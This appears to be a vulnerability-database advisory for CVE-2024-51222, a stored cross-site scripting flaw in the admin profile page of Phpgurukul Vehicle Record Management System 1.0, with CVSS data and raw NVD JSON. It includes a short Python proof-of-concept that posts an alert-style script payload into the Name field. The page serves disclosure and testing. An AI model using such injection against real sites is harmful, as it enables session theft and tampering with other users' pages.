Security Vulnerability Report
中文
CVE-2024-51222 CVSS 4.8 MEDIUM

CVE-2024-51222

Published: 2026-03-23 16:16:31
Last Modified: 2026-03-24 18:19:00

Description

A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:vehicle_record_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Phpgurukul Vehicle Record Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable component url = "http://target-ip/VehicleRecordManagement/admin/profile.php" # Malicious payload to be injected into the Name parameter xss_payload = "<script>alert('CVE-2024-51222 XSS');</script>" # Data payload for the POST request # Note: Actual parameter names may vary depending on the form implementation payload_data = { "name": xss_payload, "submit": "Update" } try: # Sending the POST request to inject the payload response = requests.post(url, data=payload_data) if response.status_code == 200: print("Payload injected successfully.") print("Check the admin profile page to verify execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-51222", "sourceIdentifier": "[email protected]", "published": "2026-03-23T16:16:31.470", "lastModified": "2026-03-24T18:18:59.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter."}, {"lang": "es", "value": "Una vulnerabilidad de tipo cross-site scripting (XSS) almacenada en el componente /admin/profile.php del sistema de gestión de registros de vehículos Phpgurukul v1.0 permite a los atacantes ejecutar scripts web o código HTML arbitrarios mediante la inyección de una carga maliciosa en el parámetro Name."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:vehicle_record_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D6AE144F-2A5F-4F48-899F-732293FA1DB6"}]}]}], "references": [{"url": "https://github.com/Buckdray/vulnerability-research", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/Buckdray/vulnerability-research/tree/main/CVE-2024-51222", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}